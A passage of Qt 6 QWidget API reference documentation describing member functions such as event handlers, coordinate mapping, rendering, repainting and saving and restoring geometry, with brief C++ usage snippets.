  **Warning:** You should not normally need to use this function; instead create [QAction](qaction)s with the shortcut key sequences you require (if you also want equivalent menu options and toolbar buttons), or create [QShortcut](qshortcut)s if you just need key sequences. Both [QAction](qaction) and [QShortcut](qshortcut) handle all the event filtering for you, and provide signals which are triggered when the user triggers the key sequence, so are much easier to use than this low-level function.

  **See also** [releaseShortcut](qwidget#releaseShortcut)() and [setShortcutEnabled](qwidget#setShortcutEnabled)().

 ### 
[QGraphicsEffect](qgraphicseffect) \*QWidget::graphicsEffect() const

 The graphicsEffect function returns a pointer to the widget's graphics effect.

 If the widget has no graphics effect, `nullptr` is returned.

 **See also** [setGraphicsEffect](qwidget#setGraphicsEffect)().

 ### 
[QGraphicsProxyWidget](qgraphicsproxywidget) \*QWidget::graphicsProxyWidget() const

 Returns the proxy widget for the corresponding embedded widget in a graphics view; otherwise returns `nullptr`.

 **See also** [QGraphicsProxyWidget::createProxyForChildWidget](qgraphicsproxywidget#createProxyForChildWidget)() and [QGraphicsScene::addWidget](qgraphicsscene#addWidget)().

 ### 
bool QWidget::hasEditFocus() const

 Returns `true` if this widget currently has edit focus; otherwise false.

 This feature is only available in Qt for Embedded Linux.

 **See also** [setEditFocus](qwidget#setEditFocus)() and [QApplication::navigationMode](qapplication#navigationMode)().

 ### 
`[virtual, since 5.0]` bool QWidget::hasHeightForWidth() const

 Returns `true` if the widget's preferred height depends on its width; otherwise returns `false`.

 This function was introduced in Qt 5.0.

 ### 
`[virtual]` int QWidget::heightForWidth(int *w*) const

 Returns the preferred height for this widget, given the width *w*.

 If this widget has a layout, the default implementation returns the layout's preferred height. if there is no layout, the default implementation returns -1 indicating that the preferred height does not depend on the width.

 ### 
`[virtual protected]` void QWidget::hideEvent([QHideEvent](qhideevent) \**event*)

 This event handler can be reimplemented in a subclass to receive widget hide events. The event is passed in the *event* parameter.

 Hide events are sent to widgets immediately after they have been hidden.

 Note: A widget receives spontaneous show and hide events when its mapping status is changed by the window system, e.g. a spontaneous hide event when the user minimizes the window, and a spontaneous show event when the window is restored again. After receiving a spontaneous hide event, a widget is still considered visible in the sense of [isVisible](qwidget#visible-prop)().

 **See also** [visible](qwidget#visible-prop), [event](qwidget#event)(), and [QHideEvent](qhideevent).

 ### 
`[override virtual protected]` void QWidget::initPainter([QPainter](qpainter) \**painter*) const

 Initializes the *painter* pen, background and font to the same as the given widget's. This function is called automatically when the painter is opened on a [QWidget](qwidget).

 ### 
`[virtual protected]` void QWidget::inputMethodEvent([QInputMethodEvent](qinputmethodevent) \**event*)

 This event handler, for event *event*, can be reimplemented in a subclass to receive Input Method composition events. This handler is called when the state of the input method changes.

 Note that when creating custom text editing widgets, the [Qt::WA\_InputMethodEnabled](qt#WidgetAttribute-enum) window attribute must be set explicitly (using the [setAttribute](qwidget#setAttribute)() function) in order to receive input method events.

 The default implementation calls event->ignore(), which rejects the Input Method event. See the [QInputMethodEvent](qinputmethodevent) documentation for more details.

 **See also** [event](qwidget#event)() and [QInputMethodEvent](qinputmethodevent).

 ### 
`[virtual]` [QVariant](qvariant) QWidget::inputMethodQuery([Qt::InputMethodQuery](qt#InputMethodQuery-enum) *query*) const

 This method is only relevant for input widgets. It is used by the input method to query a set of properties of the widget to be able to support complex input method operations as support for surrounding text and reconversions.

 *query* specifies which property is queried.

 **See also** [inputMethodEvent](qwidget#inputMethodEvent)(), [QInputMethodEvent](qinputmethodevent), [QInputMethodQueryEvent](qinputmethodqueryevent), and [inputMethodHints](qwidget#inputMethodHints-prop).

 ### 
void QWidget::insertAction([QAction](qaction) \**before*, [QAction](qaction) \**action*)

 Inserts the action *action* to this widget's list of actions, before the action *before*. It appends the action if *before* is `nullptr` or *before* is not a valid action for this widget.

 A [QWidget](qwidget) should only have one of each action.

 **See also** [removeAction](qwidget#removeAction)(), [addAction](qwidget#addAction)(), [QMenu](qmenu), [contextMenuPolicy](qwidget#contextMenuPolicy-prop), and [actions](qwidget#actions)().

 ### 
void QWidget::insertActions([QAction](qaction) \**before*, const [QList](qlist)<[QAction](qaction) \*> &*actions*)

 Inserts the actions *actions* to this widget's list of actions, before the action *before*. It appends the action if *before* is `nullptr` or *before* is not a valid action for this widget.

 A [QWidget](qwidget) can have at most one of each action.

 **See also** [removeAction](qwidget#removeAction)(), [QMenu](qmenu), [insertAction](qwidget#insertAction)(), and [contextMenuPolicy](qwidget#contextMenuPolicy-prop).

 ### 
bool QWidget::isAncestorOf(const [QWidget](qwidget#QWidget) \**child*) const

 Returns `true` if this widget is a parent, (or grandparent and so on to any level), of the given *child*, and both widgets are within the same window; otherwise returns `false`.

 ### 
bool QWidget::isEnabledTo(const [QWidget](qwidget#QWidget) \**ancestor*) const

 Returns `true` if this widget would become enabled if *ancestor* is enabled; otherwise returns `false`.

 This is the case if neither the widget itself nor every parent up to but excluding *ancestor* has been explicitly disabled.

 isEnabledTo(0) returns false if this widget or any if its ancestors was explicitly disabled.

 The word ancestor here means a parent widget within the same window.

 Therefore isEnabledTo(0) stops at this widget's window, unlike [isEnabled](qwidget#enabled-prop)() which also takes parent windows into considerations.

 **See also** [setEnabled](qwidget#enabled-prop)() and [enabled](qwidget#enabled-prop).

 ### 
bool QWidget::isHidden() const

 Returns `true` if the widget is hidden, otherwise returns `false`.

 A hidden widget will only become visible when [show](qwidget#show)() is called on it. It will not be automatically shown when the parent is shown.

 To check visibility, use ![isVisible](qwidget#visible-prop)() instead (notice the exclamation mark).

 isHidden() implies ![isVisible](qwidget#visible-prop)(), but a widget can be not visible and not hidden at the same time. This is the case for widgets that are children of widgets that are not visible.

 Widgets are hidden if:

 * they were created as independent windows,
* they were created as children of visible widgets,
* [hide](qwidget#hide)() or [setVisible](qwidget#visible-prop)(false) was called.

 ### 
bool QWidget::isVisibleTo(const [QWidget](qwidget#QWidget) \**ancestor*) const

 Returns `true` if this widget would become visible if *ancestor* is shown; otherwise returns `false`.

 The true case occurs if neither the widget itself nor any parent up to but excluding *ancestor* has been explicitly hidden.

 This function will still return true if the widget is obscured by other windows on the screen, but could be physically visible if it or they were to be moved.

 isVisibleTo(0) is identical to [isVisible](qwidget#visible-prop)().

 **See also** [show](qwidget#show)(), [hide](qwidget#hide)(), and [isVisible](qwidget#visible-prop)().

 ### 
bool QWidget::isWindow() const

 Returns `true` if the widget is an independent window, otherwise returns `false`.

 A window is a widget that isn't visually the child of any other widget and that usually has a frame and a [window title](qwidget#windowTitle-prop).

 A window can have a [parent widget](qwidget#parentWidget). It will then be grouped with its parent and deleted when the parent is deleted, minimized when the parent is minimized etc. If supported by the window manager, it will also have a common taskbar entry with its parent.

 [QDialog](qdialog) and [QMainWindow](qmainwindow) widgets are by default windows, even if a parent widget is specified in the constructor. This behavior is specified by the [Qt::Window](qt#WindowType-enum) flag.

 **See also** [window](qwidget#window)(), [isModal](qwidget#modal-prop)(), and [parentWidget](qwidget#parentWidget)().

 ### 
`[virtual protected]` void QWidget::keyPressEvent([QKeyEvent](qkeyevent) \**event*)

 This event handler, for event *event*, can be reimplemented in a subclass to receive key press events for the widget.

 A widget must call [setFocusPolicy](qwidget#focusPolicy-prop)() to accept focus initially and have focus in order to receive a key press event.

 If you reimplement this handler, it is very important that you call the base class implementation if you do not act upon the key.

 The default implementation closes popup widgets if the user presses the key sequence for [QKeySequence::Cancel](qkeysequence#StandardKey-enum) (typically the Escape key). Otherwise the event is ignored, so that the widget's parent can interpret it.

 Note that [QKeyEvent](qkeyevent) starts with isAccepted() == true, so you do not need to call [QKeyEvent::accept](qevent#accept)() - just do not call the base class implementation if you act upon the key.

 **See also** [keyReleaseEvent](qwidget#keyReleaseEvent)(), [setFocusPolicy](qwidget#focusPolicy-prop)(), [focusInEvent](qwidget#focusInEvent)(), [focusOutEvent](qwidget#focusOutEvent)(), [event](qwidget#event)(), [QKeyEvent](qkeyevent), and [Tetrix Example](https://doc.qt.io/qt-6.2/qtwidgets-widgets-tetrix-example.html).

 ### 
`[virtual protected]` void QWidget::keyReleaseEvent([QKeyEvent](qkeyevent) \**event*)

 This event handler, for event *event*, can be reimplemented in a subclass to receive key release events for the widget.

 A widget must [accept focus](qwidget#focusPolicy-prop) initially and [have focus](qwidget#focus-prop) in order to receive a key release event.

 If you reimplement this handler, it is very important that you call the base class implementation if you do not act upon the key.

 The default implementation ignores the event, so that the widget's parent can interpret it.

 Note that [QKeyEvent](qkeyevent) starts with isAccepted() == true, so you do not need to call [QKeyEvent::accept](qevent#accept)() - just do not call the base class implementation if you act upon the key.

 **See also** [keyPressEvent](qwidget#keyPressEvent)(), [QEvent::ignore](qevent#ignore)(), [setFocusPolicy](qwidget#focusPolicy-prop)(), [focusInEvent](qwidget#focusInEvent)(), [focusOutEvent](qwidget#focusOutEvent)(), [event](qwidget#event)(), and [QKeyEvent](qkeyevent).

 ### 
`[static]` [QWidget](qwidget#QWidget) \*QWidget::keyboardGrabber()

 Returns the widget that is currently grabbing the keyboard input.

 If no widget in this application is currently grabbing the keyboard, `nullptr` is returned.

 **See also** [grabMouse](qwidget#grabMouse)() and [mouseGrabber](qwidget#mouseGrabber)().

 ### 
[QLayout](qlayout) \*QWidget::layout() const

 Returns the layout manager that is installed on this widget, or `nullptr` if no layout manager is installed.

 The layout manager sets the geometry of the widget's children that have been added to the layout.

 **See also** [setLayout](qwidget#setLayout)(), [sizePolicy](qwidget#sizePolicy-prop)(), and [Layout Management](layout).

 ### 
`[virtual protected]` void QWidget::leaveEvent([QEvent](qevent) \**event*)

 This event handler can be reimplemented in a subclass to receive widget leave events which are passed in the *event* parameter.

 A leave event is sent to the widget when the mouse cursor leaves the widget.

 **See also** [enterEvent](qwidget#enterEvent)(), [mouseMoveEvent](qwidget#mouseMoveEvent)(), and [event](qwidget#event)().

 ### 
`[since 6.0]` [QPointF](qpointf) QWidget::mapFrom(const [QWidget](qwidget#QWidget) \**parent*, const [QPointF](qpointf) &*pos*) const

 Translates the widget coordinate *pos* from the coordinate system of *parent* to this widget's coordinate system. The *parent* must not be `nullptr` and must be a parent of the calling widget.

 This function was introduced in Qt 6.0.

 **See also** [mapTo](qwidget#mapTo)(), [mapFromParent](qwidget#mapFromParent)(), [mapFromGlobal](qwidget#mapFromGlobal)(), and [underMouse](qwidget#underMouse)().

 ### 
[QPoint](qpoint) QWidget::mapFrom(const [QWidget](qwidget#QWidget) \**parent*, const [QPoint](qpoint) &*pos*) const

 This is an overloaded function.

 ### 
`[since 6.0]` [QPointF](qpointf) QWidget::mapFromGlobal(const [QPointF](qpointf) &*pos*) const

 Translates the global screen coordinate *pos* to widget coordinates.

 This function was introduced in Qt 6.0.

 **See also** [mapToGlobal](qwidget#mapToGlobal)(), [mapFrom](qwidget#mapFrom)(), and [mapFromParent](qwidget#mapFromParent)().

 ### 
[QPoint](qpoint) QWidget::mapFromGlobal(const [QPoint](qpoint) &*pos*) const

 This is an overloaded function.

 ### 
`[since 6.0]` [QPointF](qpointf) QWidget::mapFromParent(const [QPointF](qpointf) &*pos*) const

 Translates the parent widget coordinate *pos* to widget coordinates.

 Same as [mapFromGlobal](qwidget#mapFromGlobal)() if the widget has no parent.

 This function was introduced in Qt 6.0.

 **See also** [mapToParent](qwidget#mapToParent)(), [mapFrom](qwidget#mapFrom)(), [mapFromGlobal](qwidget#mapFromGlobal)(), and [underMouse](qwidget#underMouse)().

 ### 
[QPoint](qpoint) QWidget::mapFromParent(const [QPoint](qpoint) &*pos*) const

 This is an overloaded function.

 ### 
`[since 6.0]` [QPointF](qpointf) QWidget::mapTo(const [QWidget](qwidget#QWidget) \**parent*, const [QPointF](qpointf) &*pos*) const

 Translates the widget coordinate *pos* to the coordinate system of *parent*. The *parent* must not be `nullptr` and must be a parent of the calling widget.

 This function was introduced in Qt 6.0.

 **See also** [mapFrom](qwidget#mapFrom)(), [mapToParent](qwidget#mapToParent)(), [mapToGlobal](qwidget#mapToGlobal)(), and [underMouse](qwidget#underMouse)().

 ### 
[QPoint](qpoint) QWidget::mapTo(const [QWidget](qwidget#QWidget) \**parent*, const [QPoint](qpoint) &*pos*) const

 This is an overloaded function.

 ### 
`[since 6.0]` [QPointF](qpointf) QWidget::mapToGlobal(const [QPointF](qpointf) &*pos*) const

 Translates the widget coordinate *pos* to global screen coordinates. For example, `mapToGlobal(QPointF(0,0))` would give the global coordinates of the top-left pixel of the widget.

 This function was introduced in Qt 6.0.

 **See also** [mapFromGlobal](qwidget#mapFromGlobal)(), [mapTo](qwidget#mapTo)(), and [mapToParent](qwidget#mapToParent)().

 ### 
[QPoint](qpoint) QWidget::mapToGlobal(const [QPoint](qpoint) &*pos*) const

 This is an overloaded function.

 ### 
`[since 6.0]` [QPointF](qpointf) QWidget::mapToParent(const [QPointF](qpointf) &*pos*) const

 Translates the widget coordinate *pos* to a coordinate in the parent widget.

 Same as [mapToGlobal](qwidget#mapToGlobal)() if the widget has no parent.

 This function was introduced in Qt 6.0.

 **See also** [mapFromParent](qwidget#mapFromParent)(), [mapTo](qwidget#mapTo)(), [mapToGlobal](qwidget#mapToGlobal)(), and [underMouse](qwidget#underMouse)().

 ### 
[QPoint](qpoint) QWidget::mapToParent(const [QPoint](qpoint) &*pos*) const

 This is an overloaded function.

 ### 
[QRegion](qregion) QWidget::mask() const

 Returns the mask currently set on a widget. If no mask is set the return value will be an empty region.

 **See also** [setMask](qwidget#setMask)(), [clearMask](qwidget#clearMask)(), [QRegion::isEmpty](qregion#isEmpty)(), and [Shaped Clock Example](https://doc.qt.io/qt-6.2/qtwidgets-widgets-shapedclock-example.html).

 ### 
`[override virtual protected]` int QWidget::metric([QPaintDevice::PaintDeviceMetric](qpaintdevice#PaintDeviceMetric-enum) *m*) const

 Reimplements: [QPaintDevice::metric(QPaintDevice::PaintDeviceMetric metric) const](qpaintdevice#metric).

 Internal implementation of the virtual [QPaintDevice::metric](qpaintdevice#metric)() function.

 *m* is the metric to get.

 ### 
`[virtual protected]` void QWidget::mouseDoubleClickEvent([QMouseEvent](qmouseevent) \**event*)

 This event handler, for event *event*, can be reimplemented in a subclass to receive mouse double click events for the widget.

 The default implementation calls [mousePressEvent](qwidget#mousePressEvent)().

  **Note:** The widget will also receive mouse press and mouse release events in addition to the double click event. And if another widget that overlaps this widget disappears in response to press or release events, then this widget will only receive the double click event. It is up to the developer to ensure that the application interprets these events correctly.

  **See also** [mousePressEvent](qwidget#mousePressEvent)(), [mouseReleaseEvent](qwidget#mouseReleaseEvent)(), [mouseMoveEvent](qwidget#mouseMoveEvent)(), [event](qwidget#event)(), and [QMouseEvent](qmouseevent).

 ### 
`[static]` [QWidget](qwidget#QWidget) \*QWidget::mouseGrabber()

 Returns the widget that is currently grabbing the mouse input.

 If no widget in this application is currently grabbing the mouse, `nullptr` is returned.

 **See also** [grabMouse](qwidget#grabMouse)() and [keyboardGrabber](qwidget#keyboardGrabber)().

 ### 
`[virtual protected]` void QWidget::mouseMoveEvent([QMouseEvent](qmouseevent) \**event*)

 This event handler, for event *event*, can be reimplemented in a subclass to receive mouse move events for the widget.

 If mouse tracking is switched off, mouse move events only occur if a mouse button is pressed while the mouse is being moved. If mouse tracking is switched on, mouse move events occur even if no mouse button is pressed.

 [QMouseEvent::pos](qmouseevent#pos)() reports the position of the mouse cursor, relative to this widget. For press and release events, the position is usually the same as the position of the last mouse move event, but it might be different if the user's hand shakes. This is a feature of the underlying window system, not Qt.

 If you want to show a tooltip immediately, while the mouse is moving (e.g., to get the mouse coordinates with [QMouseEvent::pos](qmouseevent#pos)() and show them as a tooltip), you must first enable mouse tracking as described above. Then, to ensure that the tooltip is updated immediately, you must call [QToolTip::showText](qtooltip#showText)() instead of [setToolTip](qwidget#toolTip-prop)() in your implementation of mouseMoveEvent().

 **See also** [setMouseTracking](qwidget#mouseTracking-prop)(), [mousePressEvent](qwidget#mousePressEvent)(), [mouseReleaseEvent](qwidget#mouseReleaseEvent)(), [mouseDoubleClickEvent](qwidget#mouseDoubleClickEvent)(), [event](qwidget#event)(), [QMouseEvent](qmouseevent), and [Scribble Example](https://doc.qt.io/qt-6.2/qtwidgets-widgets-scribble-example.html).

 ### 
`[virtual protected]` void QWidget::mousePressEvent([QMouseEvent](qmouseevent) \**event*)

 This event handler, for event *event*, can be reimplemented in a subclass to receive mouse press events for the widget.

 If you create new widgets in the mousePressEvent() the [mouseReleaseEvent](qwidget#mouseReleaseEvent)() may not end up where you expect, depending on the underlying window system (or X11 window manager), the widgets' location and maybe more.

 The default implementation implements the closing of popup widgets when you click outside the window. For other widget types it does nothing.

 **See also** [mouseReleaseEvent](qwidget#mouseReleaseEvent)(), [mouseDoubleClickEvent](qwidget#mouseDoubleClickEvent)(), [mouseMoveEvent](qwidget#mouseMoveEvent)(), [event](qwidget#event)(), [QMouseEvent](qmouseevent), and [Scribble Example](https://doc.qt.io/qt-6.2/qtwidgets-widgets-scribble-example.html).

 ### 
`[virtual protected]` void QWidget::mouseReleaseEvent([QMouseEvent](qmouseevent) \**event*)

 This event handler, for event *event*, can be reimplemented in a subclass to receive mouse release events for the widget.

 **See also** [mousePressEvent](qwidget#mousePressEvent)(), [mouseDoubleClickEvent](qwidget#mouseDoubleClickEvent)(), [mouseMoveEvent](qwidget#mouseMoveEvent)(), [event](qwidget#event)(), [QMouseEvent](qmouseevent), and [Scribble Example](https://doc.qt.io/qt-6.2/qtwidgets-widgets-scribble-example.html).

 ### 
void QWidget::move(int *x*, int *y*)

 This is an overloaded function.

 This corresponds to move([QPoint](qpoint)(*x*, *y*)).

 **Note:** Setter function for property [pos](qwidget#pos-prop). 

 ### 
`[virtual protected]` void QWidget::moveEvent([QMoveEvent](qmoveevent) \**event*)

 This event handler can be reimplemented in a subclass to receive widget move events which are passed in the *event* parameter. When the widget receives this event, it is already at the new position.

 The old position is accessible through [QMoveEvent::oldPos](qmoveevent#oldPos)().

 **See also** [resizeEvent](qwidget#resizeEvent)(), [event](qwidget#event)(), [move](qwidget#pos-prop)(), and [QMoveEvent](qmoveevent).

 ### 
`[virtual protected]` bool QWidget::nativeEvent(const [QByteArray](qbytearray) &*eventType*, void \**message*, [qintptr](qtglobal#qintptr-typedef) \**result*)

 This special event handler can be reimplemented in a subclass to receive native platform events identified by *eventType* which are passed in the *message* parameter.

 In your reimplementation of this function, if you want to stop the event being handled by Qt, return true and set *result*. The *result* parameter has meaning only on Windows. If you return false, this native event is passed back to Qt, which translates the event into a Qt event and sends it to the widget.

  **Note:** Events are only delivered to this event handler if the widget has a native window handle.

   **Note:** This function superseedes the event filter functions x11Event(), winEvent() and macEvent() of Qt 4.

  

| Platform | Event Type Identifier | Message Type | Result Type |
| --- | --- | --- | --- |
| Windows | "windows\_generic\_MSG" | MSG \* | LRESULT |
| macOS | "NSEvent" | NSEvent \* |  |
| XCB | "xcb\_generic\_event\_t" | xcb\_generic\_event\_t \* |  |

 **See also** [QAbstractNativeEventFilter](qabstractnativeeventfilter).

 ### 
[QWidget](qwidget#QWidget) \*QWidget::nativeParentWidget() const

 Returns the native parent for this widget, i.e. the next ancestor widget that has a system identifier, or `nullptr` if it does not have any native parent.

 **See also** [effectiveWinId](qwidget#effectiveWinId)().

 ### 
[QWidget](qwidget#QWidget) \*QWidget::nextInFocusChain() const

 Returns the next widget in this widget's focus chain.

 **See also** [previousInFocusChain](qwidget#previousInFocusChain)().

 ### 
void QWidget::overrideWindowFlags([Qt::WindowFlags](qt#WindowType-enum) *flags*)

 Sets the window flags for the widget to *flags*, *without* telling the window system.

  **Warning:** Do not call this function unless you really know what you're doing.

  **See also** [setWindowFlags](qwidget#windowFlags-prop)().

 ### 
`[override virtual]` [QPaintEngine](qpaintengine) \*QWidget::paintEngine() const

 Reimplements: [QPaintDevice::paintEngine() const](qpaintdevice#paintEngine).

 Returns the widget's paint engine.

 Note that this function should not be called explicitly by the user, since it's meant for reimplementation purposes only. The function is called by Qt internally, and the default implementation may not always return a valid pointer.

 ### 
`[virtual protected]` void QWidget::paintEvent([QPaintEvent](qpaintevent) \**event*)

 This event handler can be reimplemented in a subclass to receive paint events passed in *event*.

 A paint event is a request to repaint all or part of a widget. It can happen for one of the following reasons:

 * [repaint](qwidget#repaint)() or [update](qwidget#update)() was invoked,
* the widget was obscured and has now been uncovered, or
* many other reasons.

 Many widgets can simply repaint their entire surface when asked to, but some slow widgets need to optimize by painting only the requested region: [QPaintEvent::region](qpaintevent#region)(). This speed optimization does not change the result, as painting is clipped to that region during event processing. [QListView](qlistview) and [QTableView](qtableview) do this, for example.

 Qt also tries to speed up painting by merging multiple paint events into one. When [update](qwidget#update)() is called several times or the window system sends several paint events, Qt merges these events into one event with a larger region (see [QRegion::united](qregion#united)()). The [repaint](qwidget#repaint)() function does not permit this optimization, so we suggest using [update](qwidget#update)() whenever possible.

 When the paint event occurs, the update region has normally been erased, so you are painting on the widget's background.

 The background can be set using [setBackgroundRole](qwidget#setBackgroundRole)() and [setPalette](qwidget#palette-prop)().

 Since Qt 4.0, [QWidget](qwidget) automatically double-buffers its painting, so there is no need to write double-buffering code in paintEvent() to avoid flicker.

  **Note:** Generally, you should refrain from calling [update](qwidget#update)() or [repaint](qwidget#repaint)() **inside** a paintEvent(). For example, calling [update](qwidget#update)() or [repaint](qwidget#repaint)() on children inside a paintEvent() results in undefined behavior; the child may or may not get a paint event.

   **Warning:** If you are using a custom paint engine without Qt's backingstore, [Qt::WA\_PaintOnScreen](qt#WidgetAttribute-enum) must be set. Otherwise, [QWidget::paintEngine](qwidget#paintEngine)() will never be called; the backingstore will be used instead.

  **See also** [event](qwidget#event)(), [repaint](qwidget#repaint)(), [update](qwidget#update)(), [QPainter](qpainter), [QPixmap](qpixmap), [QPaintEvent](qpaintevent), and [Analog Clock Example](https://doc.qt.io/qt-6.2/qtwidgets-widgets-analogclock-example.html).

 ### 
[QWidget](qwidget#QWidget) \*QWidget::parentWidget() const

 Returns the parent of this widget, or `nullptr` if it does not have any parent widget.

 ### 
[QWidget](qwidget#QWidget) \*QWidget::previousInFocusChain() const

 The previousInFocusChain function returns the previous widget in this widget's focus chain.

 **See also** [nextInFocusChain](qwidget#nextInFocusChain)().

 ### 
void QWidget::releaseKeyboard()

 Releases the keyboard grab.

 **See also** [grabKeyboard](qwidget#grabKeyboard)(), [grabMouse](qwidget#grabMouse)(), and [releaseMouse](qwidget#releaseMouse)().

 ### 
void QWidget::releaseMouse()

 Releases the mouse grab.

 **See also** [grabMouse](qwidget#grabMouse)(), [grabKeyboard](qwidget#grabKeyboard)(), and [releaseKeyboard](qwidget#releaseKeyboard)().

 ### 
void QWidget::releaseShortcut(int *id*)

 Removes the shortcut with the given *id* from Qt's shortcut system. The widget will no longer receive [QEvent::Shortcut](qevent#Type-enum) events for the shortcut's key sequence (unless it has other shortcuts with the same key sequence).

  **Warning:** You should not normally need to use this function since Qt's shortcut system removes shortcuts automatically when their parent widget is destroyed. It is best to use [QAction](qaction) or [QShortcut](qshortcut) to handle shortcuts, since they are easier to use than this low-level function. Note also that this is an expensive operation.

  **See also** [grabShortcut](qwidget#grabShortcut)() and [setShortcutEnabled](qwidget#setShortcutEnabled)().

 ### 
void QWidget::removeAction([QAction](qaction) \**action*)

 Removes the action *action* from this widget's list of actions.

 **See also** [insertAction](qwidget#insertAction)(), [actions](qwidget#actions)(), and [insertAction](qwidget#insertAction)().

 ### 
void QWidget::render([QPaintDevice](qpaintdevice#QPaintDevice) \**target*, const [QPoint](qpoint) &*targetOffset* = QPoint(), const [QRegion](qregion) &*sourceRegion* = QRegion(), [QWidget::RenderFlags](qwidget#RenderFlag-enum) *renderFlags* = RenderFlags(DrawWindowBackground | DrawChildren))

 Renders the *sourceRegion* of this widget into the *target* using *renderFlags* to determine how to render. Rendering starts at *targetOffset* in the *target*. For example:

 
```
QPixmap pixmap(widget->size());
widget->render(&pixmap);
```
 If *sourceRegion* is a null region, this function will use [QWidget::rect](qwidget#rect-prop)() as the region, i.e. the entire widget.

 Ensure that you call [QPainter::end](qpainter#end)() for the *target* device's active painter (if any) before rendering. For example:

 
```
QPainter painter(this);
...
painter.end();
myWidget->render(this);
```
  **Note:** To obtain the contents of a QOpenGLWidget, use QOpenGLWidget::grabFramebuffer() instead.

  ### 
void QWidget::render([QPainter](qpainter) \**painter*, const [QPoint](qpoint) &*targetOffset* = QPoint(), const [QRegion](qregion) &*sourceRegion* = QRegion(), [QWidget::RenderFlags](qwidget#RenderFlag-enum) *renderFlags* = RenderFlags(DrawWindowBackground | DrawChildren))

 This is an overloaded function.

 Renders the widget into the *painter*'s [QPainter::device](qpainter#device)().

 Transformations and settings applied to the *painter* will be used when rendering.

  **Note:** The *painter* must be active. On macOS the widget will be rendered into a [QPixmap](qpixmap) and then drawn by the *painter*.

  **See also** [QPainter::device](qpainter#device)().

 ### 
void QWidget::repaint(int *x*, int *y*, int *w*, int *h*)

 This is an overloaded function.

 This version repaints a rectangle (*x*, *y*, *w*, *h*) inside the widget.

 If *w* is negative, it is replaced with `width() - x`, and if *h* is negative, it is replaced width `height() - y`.

 ### 
void QWidget::repaint(const [QRect](qrect) &*rect*)

 This is an overloaded function.

 This version repaints a rectangle *rect* inside the widget.

 ### 
void QWidget::repaint(const [QRegion](qregion) &*rgn*)

 This is an overloaded function.

 This version repaints a region *rgn* inside the widget.

 ### 
void QWidget::resize(int *w*, int *h*)

 This is an overloaded function.

 This corresponds to resize([QSize](qsize)(*w*, *h*)).

 **Note:** Setter function for property [size](qwidget#size-prop). 

 ### 
`[virtual protected]` void QWidget::resizeEvent([QResizeEvent](qresizeevent) \**event*)

 This event handler can be reimplemented in a subclass to receive widget resize events which are passed in the *event* parameter. When resizeEvent() is called, the widget already has its new geometry. The old size is accessible through [QResizeEvent::oldSize](qresizeevent#oldSize)().

 The widget will be erased and receive a paint event immediately after processing the resize event. No drawing need be (or should be) done inside this handler.

 **See also** [moveEvent](qwidget#moveEvent)(), [event](qwidget#event)(), [resize](qwidget#size-prop)(), [QResizeEvent](qresizeevent), [paintEvent](qwidget#paintEvent)(), and [Scribble Example](https://doc.qt.io/qt-6.2/qtwidgets-widgets-scribble-example.html).

 ### 
bool QWidget::restoreGeometry(const [QByteArray](qbytearray) &*geometry*)

 Restores the geometry and state of top-level widgets stored in the byte array *geometry*. Returns `true` on success; otherwise returns `false`.

 If the restored geometry is off-screen, it will be modified to be inside the available screen geometry.

 To restore geometry saved using [QSettings](qsettings), you can use code like this:

 
```
QSettings settings("MyCompany", "MyApp");
myWidget->restoreGeometry(settings.value("myWidget/geometry").toByteArray());
```
 See the [Window Geometry](application-windows#window-geometry) documentation for an overview of geometry issues with windows.

 Use [QMainWindow::restoreState](qmainwindow#restoreState)() to restore the geometry and the state of toolbars and dock widgets.

 **See also** [saveGeometry](qwidget#saveGeometry)(), [QSettings](qsettings), [QMainWindow::saveState](qmainwindow#saveState)(), and [QMainWindow::restoreState](qmainwindow#restoreState)().

 ### 
[QByteArray](qbytearray) QWidget::saveGeometry() const

 Saves the current geometry and state for top-level widgets.

 To save the geometry when the window closes, you can implement a close event like this:

 
```
void MyWidget::closeEvent(QCloseEvent *event)
{
    QSettings settings("MyCompany", "MyApp");
    settings.setValue("geometry", saveGeometry());
    QWidget::closeEvent(event);
}
```
 See the [Window Geometry](application-windows#window-geometry) documentation for an overview of geometry issues with windows.

 Use [QMainWindow::saveState](qmainwindow#saveState)() to save the geometry and the state of toolbars and dock widgets.

 **See also** [restoreGeometry](qwidget#restoreGeometry)(), [QMainWindow::saveState](qmainwindow#saveState)(), and [QMainWindow::restoreState](qmainwindow#restoreState)().

 ### 
`[since 5.14]` [QScreen](qscreen) \*QWidget::screen() const

 Returns the screen the widget is on.

 This function was introduced in Qt 5.14.

 **See also** [setScreen](qwidget#setScreen)() and [windowHandle](qwidget#windowHandle)().

 ### 
void QWidget::scroll(int *dx*, int *dy*)

 Scrolls the widget including its children *dx* pixels to the right and *dy* downward. Both *dx* and *dy* may be negative.

 After scrolling, the widgets will receive paint events for the areas that need to be repainted. For widgets that Qt knows to be opaque, this is only the newly exposed parts. For example, if an opaque widget is scrolled 8 pixels to the left, only an 8-pixel wide stripe at the right edge needs updating.

 Since widgets propagate the contents of their parents by default, you need to set the [autoFillBackground](qwidget#autoFillBackground-prop) property, or use [setAttribute](qwidget#setAttribute)() to set the [Qt::WA\_OpaquePaintEvent](qt#WidgetAttribute-enum) attribute, to make a widget opaque.

 For widgets that use contents propagation, a scroll will cause an update of the entire scroll area.

 **See also** [Transparency and Double Buffering](qwidget#transparency-and-double-buffering).

 ### 
void QWidget::scroll(int *dx*, int *dy*, const [QRect](qrect) &*r*)

 This is an overloaded function.

 This version only scrolls *r* and does not move the children of the widget.

 If *r* is empty or invalid, the result is undefined.

 **See also** [QScrollArea](qscrollarea).

 ### 
void QWidget::setAttribute([Qt::WidgetAttribute](qt#WidgetAttribute-enum) *attribute*, bool *on* = true)

 Sets the attribute *attribute* on this widget if *on* is true; otherwise clears the attribute.

 **See also** [testAttribute](qwidget#testAttribute)().

 ### 
void QWidget::setBackgroundRole([QPalette::ColorRole](qpalette#ColorRole-enum) *role*)

 Sets the background role of the widget to *role*.

 The background role defines the brush from the widget's [palette](qwidget#palette-prop) that is used to render the background.

 If *role* is [QPalette::NoRole](qpalette#ColorRole-enum), then the widget inherits its parent's background role.

 Note that styles are free to choose any color from the palette. You can modify the palette or set a style sheet if you don't achieve the result you want with setBackgroundRole().

 **See also** [backgroundRole](qwidget#backgroundRole)() and [foregroundRole](qwidget#foregroundRole)().

 ### 
void QWidget::setBaseSize(int *basew*, int *baseh*)

 This is an overloaded function.

 This corresponds to setBaseSize([QSize](qsize)(*basew*, *baseh*)). Sets the widgets base size to width *basew* and height *baseh*.

 **Note:** Setter function for property [baseSize](qwidget#baseSize-prop). 

 ### 
void QWidget::setContentsMargins(int *left*, int *top*, int *right*, int *bottom*)

